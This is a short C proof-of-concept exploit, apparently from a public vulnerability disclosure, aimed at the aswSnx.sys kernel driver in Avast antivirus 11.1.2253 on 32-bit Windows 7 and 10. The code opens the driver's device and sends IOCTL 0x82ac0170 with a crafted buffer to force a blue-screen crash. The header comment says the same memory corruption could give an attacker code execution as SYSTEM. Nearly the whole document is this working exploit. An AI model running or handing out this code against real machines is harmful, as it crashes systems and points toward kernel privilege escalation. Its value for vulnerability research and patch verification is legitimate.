/** * Author: bee13oy * BSoD on Windows 7 x86 / Windows 10 x86 + Avast Premier / Avast Free Antivirus (11.1.2253) * Source: https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Avast/aswSnx_BSoD2(ZDI-16-681) * * There is a Memory Corruption Vulnerability in aswSnx.sys when DeviceIoControl API is called with ioctl * number 0x82ac0170, and An attacker may leverage this vulnerability to execute arbitrary code in the * context of SYSTEM. **/ #include <Windows.h> void BSoD(const char* szDeviceName) { HANDLE hDevice = CreateFileA(szDeviceName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice != INVALID_HANDLE_VALUE) { DWORD nbBytes = 0; CHAR bufInput[0x8+1] = "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"; CHAR bufOuput[0x8+1] = ""; DeviceIoControl(hDevice, 0x82ac0170, bufInput, 0x00000008, bufOuput, 0x00000008, &nbBytes, NULL ); } } int _tmain(int argc, _TCHAR* argv[]) { BSoD("\\\\.\\aswSnx"); return 0; }